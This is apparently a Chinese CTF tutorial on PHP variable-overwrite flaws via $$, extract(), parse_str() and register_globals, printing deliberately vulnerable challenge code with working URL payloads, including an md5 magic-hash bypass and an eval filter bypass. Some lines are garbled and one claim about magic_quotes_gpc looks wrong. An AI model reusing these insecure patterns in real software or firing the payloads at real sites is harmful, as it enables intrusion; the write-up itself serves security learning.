变量覆盖常见函数

1
2
3
4
5
6
● register_globals
extract()
parse_str()
mb_parse_str()
import_request_variables()
● $$

$$导致的变量覆盖

给出一个例子

1
2
3
foreach ($_GET as $key => $value)
$$key = $$value


首先key = key = key = $value,这里将只是将数组键当做下一个变量,将数组的值当做这个$$key的值。例如post方法传入flag=abc,则处理后变成$flag=abc。这样就造成将我们需要获取的flag的值给覆盖掉了。
引用BJDCTF2020]Mark loves cat的题
flag.php
1
2
3
<?php

$flag = file_get_contents('/flag');

index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

其实就是一个变量覆盖,做法有三种分别是三种不同变量的覆盖
比如我们覆盖handsome
第一个if语句中输出变量$handsome,满足条件$_GET[‘flag’] == = $x && $x !=== ‘flag’
这个条件的意思是不能同时有flag的键值对
只需/?handsome=flag&flag=handsome
由于都是get传参所以在传入前者时相当于生成了$handsome=$flag
由于原本存在$flag=flag{xxxxxx}此时这个值就被赋给了$handsome这个变量
然后经过第二个参数把$handsome的值又赋给$flag
或者 ?handsome=flag&flag=b&b=flag
顺序不能反,不然flag的值就被handsome覆盖了

extract导致的变量覆盖

extract函数的作用就是从数组中将变量导入到当前的符号表。
用数组的键名作为变量名,键值作为变量值。
此处是以数组形式接收的

1
2
3
4
<?php
extract($_GET);
var_dump($_GET);
//此处打印出来是数组

语法:
1
extract($array, $extract_type, $prefix)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$b= $_GET;
var_dump($b);
?>
//数据形式就是数组
<?php
$b= $_GET[2];
var_dump($b);
?>
//数据形式是字符串
<?php
$a = "0";
extract($_GET);
if ($a == 1) {
echo "Hacked!";
} else {
echo "Hello!";
}
?>
//对于这个例子extract函数是从数组中将变量导入到当前符号表,用键名作为变量名,键值作为变量值
//也就是说当我传入类似a=2&1=222,会被

parse_str函数导致的变量覆盖

首先这个要想实现需要打开配置

; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = On

然后要注意parse_str是函数必须要按照php代码执行不然不会起作用

例一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
$flag = 'flag{V4ri4ble_M4y_Be_C0verEd}';
if (empty($_GET['b'])) {
show_source(__FILE__);
die();
}else{
$a = "www.sqlsec.com";
$b = $_GET['b'];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo $flag;
}else{
exit('your answer is wrong~');
}
}
?>

此时parse_str是在php标签内部的所以肯定是起作用的
此时要想拿到flag

write-up

找到核心代码:

1
2
3
4
5
6
7
@parse_str($b);

这里使用了parse_str函数来传递b的变量值

if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))

这里用到的是文章上面的知识点md5()函数缺陷

因为这里用到了parse_str函数来传递b,if语句的条件是拿$a[0]来比较的,因为这里的变量a的值已经是固定的了。
整体代码乍看起来又不可能,但是利用变量覆盖函数的缺陷这里可以对a的变量进行重新赋值,后面的的if语句再利用本文前面提到的md5()比较缺陷进行绕过:
1
http://localhost/?b=a[0]=240610708

例二:
1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

利用parse_str进行绕过
$_SERVER[‘argv’]的使用

?a=2+1+fl0g=flag_give_me
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[2])

php 5.2.17里头为什么没有php.ini-development文件

.ini-recommended和php.ini-dist你把任意一个重命名为php.ini即可
这两个文件的区别是:
php.ini-recommended的安全等级比php.ini-dist高。默认是把display_errors 设置为 off,将 magic_quotes_gpc 设置为Off等等。而相对的php.ini-dist都是默认的配置。 所以说,如果你只是想进行web测试和普通开发,使用php.ini-dist,不然就是用php.ini-recommended。

register_globals()函数

register_globals全局变量覆盖。
这个特性已经在PHP5.3.0中废弃,并在5.4.0版本移除。
php.ini中有一项配置为register_globals,即注册全局变量。
当register_globals=On时,传递过来的值会被直接注册为全局变量,直接使用。所以此时,代码中的参数会被用户提交的参数覆盖掉。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";

if ($a) {

echo "Variable override";
}else{

echo "override failed";
}
?>


payload:/?a=1
此时会覆盖掉$a的值,触发变量覆盖漏洞